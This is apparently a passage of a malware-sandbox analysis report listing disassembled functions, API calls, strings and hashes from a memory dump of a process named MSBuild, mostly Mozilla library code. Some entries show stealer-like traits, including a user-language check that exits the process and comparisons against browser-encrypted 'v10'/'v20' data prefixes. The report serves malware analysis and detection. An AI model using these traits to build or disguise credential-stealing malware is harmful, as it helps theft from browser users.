Opcode ID: f88d442b4bf4a6edf7cba2f0b6dfaf96dcccca78a7bde85488c6012836c3a911
Instruction ID: 73753b090730864755b4343b0d8e715fc9808bbac0349aebcea8f988ae9d965f
Opcode Fuzzy Hash: f88d442b4bf4a6edf7cba2f0b6dfaf96dcccca78a7bde85488c6012836c3a911
Instruction Fuzzy Hash: 0651B473702611DBD7119B28DE806AEB3B2BF92348FD6051ED91A53B00D731F969CB92

Function 6C565D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C565C8C,?,6C53E829), ref: 6C565D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C565C8C,?,6C53E829), ref: 6C565D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C565C8C,?,6C53E829), ref: 6C565D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C565C8C,?,6C53E829), ref: 6C565D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C565C8C,?,6C53E829), ref: 6C565DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C565C8C,?,6C53E829), ref: 6C565DC9
std::_Facet_Register.LIBCPMT ref: 6C565DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C565C8C,?,6C53E829), ref: 6C565E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C565C8C,?,6C53E829), ref: 6C565E45

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: b81865004e8dd077651b2327c8447fa7a10a3de56160164a09c88475ef8d902a
Instruction ID: dd16938eb9a7a86660695b8f9bf10503960c61b413a198794794a5127a1e4978
Opcode Fuzzy Hash: b81865004e8dd077651b2327c8447fa7a10a3de56160164a09c88475ef8d902a
Instruction Fuzzy Hash: 2141B2707412159FCB00EF65CC88AAE77B9FF89314F854069E50A9BB92EB30ED05CB65

Function 6C53CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C5031A7), ref: 6C53CDDD

Strings

<jemalloc>, xrefs: 6C53CF9F, 6C53CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C53CFA4, 6C53CFB8

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 33079a9fb0fafed44c4ed59bae16c14e464800a10f39abd28cb15cbe5a29bf64
Instruction ID: 67d0dca9749c76516e787bb9e68d065e6630998eb3bda4830072d1f0814eb2f0
Opcode Fuzzy Hash: 33079a9fb0fafed44c4ed59bae16c14e464800a10f39abd28cb15cbe5a29bf64
Instruction Fuzzy Hash: 2831C5307412355BEF11AEA58C45BAE7BB9AF82718F315215F619AB6C0FB70E400CBA4

Function 6C50ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C50F100: LoadLibraryW.KERNEL32(shell32,?,6C57D020), ref: 6C50F122
Part of subcall function 6C50F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C50F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C50ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C50EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C50EDCC
CreateFileW.KERNEL32 ref: 6C50EE08
free.MOZGLUE(00000000), ref: 6C50EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C50EE32

Part of subcall function 6C50EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C50EBB5
Part of subcall function 6C50EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C53D7F3), ref: 6C50EBC3
Part of subcall function 6C50EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C53D7F3), ref: 6C50EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C50EDC1

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 356d06f7a7ee0fd8cebd92382dc572061158f588f2a64f57db22b0e8ee7652f5
Instruction ID: 1260438f8bb7e17a34897b8f58a277856a224bc8af4b9eced12241f5625be5b6
Opcode Fuzzy Hash: 356d06f7a7ee0fd8cebd92382dc572061158f588f2a64f57db22b0e8ee7652f5
Instruction Fuzzy Hash: 3951C371E05218CBDB10DF68CC446EEB7B1EF59318F54892DD895AB740E7B06D88C7A2

Function 6C57A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C57A565

Part of subcall function 6C57A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C57A4BE
Part of subcall function 6C57A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C57A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C57A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C57A6B6

Strings

z, xrefs: 6C57A6AE
0, xrefs: 6C57A5FB

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 13186ce3cdf2f9cd2b1f9dc57a81c7bf45880c5ba84f8f5638c98decbc2a7093
Instruction ID: 63965aad8bfe5e927c5366cb16cc59a3b21bd67da55f70bda47387ffa13fe86b
Opcode Fuzzy Hash: 13186ce3cdf2f9cd2b1f9dc57a81c7bf45880c5ba84f8f5638c98decbc2a7093
Instruction Fuzzy Hash: 5E413A71909745DFC351DF28C880A8BBBE5BFC9354F409A2EF49987650EB30D989CB92

Function 6C549420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C53AB89: EnterCriticalSection.KERNEL32(6C58E370,?,?,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284), ref: 6C53AB94
Part of subcall function 6C53AB89: LeaveCriticalSection.KERNEL32(6C58E370,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C53ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C514A68), ref: 6C54945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C549470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C549482
__Init_thread_footer.LIBCMT ref: 6C54949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C54946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C54947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C549459

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 8126d3093a1ea19dc499f99059a783cff93006bd786b6be64a003fc082f1a7cb
Instruction ID: bd3e651e81580b27a10e6b49af85d8b2b9564ddb16b86b725e44cb24a9f6c881
Opcode Fuzzy Hash: 8126d3093a1ea19dc499f99059a783cff93006bd786b6be64a003fc082f1a7cb
Instruction Fuzzy Hash: 0C01D870A02121C7EB009B6CDD16A4E3379AB4B368F155637D90AC6B51E731E8648A5F

Function 00416770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32(?,?,00416A26,00420AEF), ref: 00416774
ExitProcess.KERNEL32 ref: 004167A5
ExitProcess.KERNEL32 ref: 004167AF
ExitProcess.KERNEL32 ref: 004167B9
ExitProcess.KERNEL32 ref: 004167C3
ExitProcess.KERNEL32 ref: 004167CD

Strings

B, xrefs: 00416780, 0041678C

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: B
API String ID: 1494266314-2248957098
Opcode ID: 06d82b50bec3daad471bac9186370b40fc7c44d51d66305ede144e8412a302ef
Instruction ID: a53c6ee3ffce5caaac90cf9b44aa2343e9827e2133a721021c11305bfc7fe0eb
Opcode Fuzzy Hash: 06d82b50bec3daad471bac9186370b40fc7c44d51d66305ede144e8412a302ef
Instruction Fuzzy Hash: C2F03A38984209FFE3549FE0A90976C7B72FB06702F04019DF709862D0D6748A519B96

Function 6C550F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C550F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C550F88
GetCurrentThreadId.KERNEL32 ref: 6C550FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C551067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C5510A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C55114B

Part of subcall function 6C548AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C561563), ref: 6C548BD5

free.MOZGLUE(?), ref: 6C551174
free.MOZGLUE(?), ref: 6C551186

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 5560eb88d33674b05496371cbef160abe64def2b134eebf94bcbc38d37d4acb1
Instruction ID: cc1f2cc8b4bb36555e0ba0d95b6cfa5df0cebaf517b43c54cebed92e57b0f8b6
Opcode Fuzzy Hash: 5560eb88d33674b05496371cbef160abe64def2b134eebf94bcbc38d37d4acb1
Instruction Fuzzy Hash: EA61AC75A04340DBDB10DF25CC807AAB7F5AFC5308F45991EE8895B611EB71E899CB82

Function 00409E10 Relevance: 12.2, APIs: 4, Strings: 4, Instructions: 167memoryCOMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00410A60: memset.MSVCRT ref: 00410C1C
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00000000), ref: 00410C35
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00420D7C), ref: 00410C47
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00000000), ref: 00410C5D
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00420D80), ref: 00410C6F

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

memcmp.MSVCRT(?,v10,00000003), ref: 00409EAF
memset.MSVCRT ref: 00409EE8
LocalAlloc.KERNEL32(00000040,?), ref: 00409F41

Strings

@, xrefs: 00409EF1
ERROR_RUN_EXTRACTOR, xrefs: 00409E67
v10, xrefs: 00409EA3
v20, xrefs: 00409E21

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpymemcmpmemset$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 1977917189-1096346117
Opcode ID: cf3bd8b6a91d7380b4fcfdc4a2eaf8d3038d72e2fe7c69aa23c32b41aba9b41f
Instruction ID: cfc602575c7eb8b90e75612a825b183f0a0020e5ceb1952e76b28d7f8d83ce04
Opcode Fuzzy Hash: cf3bd8b6a91d7380b4fcfdc4a2eaf8d3038d72e2fe7c69aa23c32b41aba9b41f
Instruction Fuzzy Hash: C9615F30A00248EBCB24EFA5DD96FED7775AF44304F408029F90A6F1D1DB786A56CB5A

Function 6C50B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C50B61E,?,?,?,?,?,00000000), ref: 6C50B6AC

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C50B61E,?,?,?,?,?,00000000), ref: 6C50B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C50B61E,?,?,?,?,?,00000000), ref: 6C50B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C50B61E,?,?,?,?,?,00000000), ref: 6C50B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C50B61E,?,?,?,?,?,00000000), ref: 6C50B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C50B61E), ref: 6C50B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C50B61E,?,?,?,?,?,00000000), ref: 6C50B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C50B61E,?,?,?,?,?,00000000), ref: 6C50B79A

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: dfb20f1ee3c5e9d34c57e8c69ead0898ffcdd5ae6e3cc747ed05259345a8f1eb
Instruction ID: 555a55ed0534ddb57f3171004a6655e59d40576fa71beca27933ec451a53a376
Opcode Fuzzy Hash: dfb20f1ee3c5e9d34c57e8c69ead0898ffcdd5ae6e3cc747ed05259345a8f1eb
Instruction Fuzzy Hash: 4741B6B2E001159FDB14EF68DC805AEB7B5FF84324F250669E825E7790E731AD0487E1

Function 6C50EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C585104), ref: 6C50EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C50EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C50EFEC
free.MOZGLUE(?), ref: 6C50F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C50F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C50F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C50F065
moz_xmalloc.MOZGLUE ref: 6C50F072

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 2a3094e29ac735879d97aeb03402c162de2fdd84fa150ca3a4ae28c5fa952e6f
Instruction ID: 286cd5fe5caa5f1c0684c7bedc692b288293f6f71ce79e0e713dfc8d676508e0
Opcode Fuzzy Hash: 2a3094e29ac735879d97aeb03402c162de2fdd84fa150ca3a4ae28c5fa952e6f
Instruction Fuzzy Hash: 4741E2B1B002059FDB08CF68DC909BE73A9EF84324B240628E816DB794EB71ED0587E1

Function 6C57B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C57B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C57B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C57B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C57B5F4
__Init_thread_footer.LIBCMT ref: 6C57B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C57B61F
std::_Facet_Register.LIBCPMT ref: 6C57B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C57B655

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 8cad035a4787a051e6e0145786af7204163d4c3c6d7c471e9e67a559799a5fd9
Instruction ID: 0b0893b603e3b5d3a6590cd4485b4047fcc0a45b5e160fd540bfbe1850736017
Opcode Fuzzy Hash: 8cad035a4787a051e6e0145786af7204163d4c3c6d7c471e9e67a559799a5fd9
Instruction Fuzzy Hash: F131A471B02125CBCF10EFA9CC549AEB7B5FF8A324B160515DA0697741EB30AC46CB95

Function 6C546590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C53FA80: GetCurrentThreadId.KERNEL32 ref: 6C53FA8D
Part of subcall function 6C53FA80: AcquireSRWLockExclusive.KERNEL32(6C58F448), ref: 6C53FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C546727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C5467C8

Part of subcall function 6C554290: memcpy.VCRUNTIME140(?,?,6C562003,6C560AD9,?,6C560AD9,00000000,?,6C560AD9,?,00000004,?,6C561A62,?,6C562003,?), ref: 6C5542C4

Strings

data, xrefs: 6C546593
vXl, xrefs: 6C54696C

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vXl
API String ID: 511789754-1692619548
Opcode ID: fc0f51c4d45dbf613268231508a3a5cd6cc4f1083ef96da92d592df74a55ea3f
Instruction ID: 91c06adddcdb965b63547b8632c3ba12dc410a98ddcc9203b49d13eefd2db60f
Opcode Fuzzy Hash: fc0f51c4d45dbf613268231508a3a5cd6cc4f1083ef96da92d592df74a55ea3f
Instruction Fuzzy Hash: 31D1AC75A09340CFD724DF25CC51B9EB7E5AFC5308F50892EE48997B91EB30A849CB92

Function 6C53D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

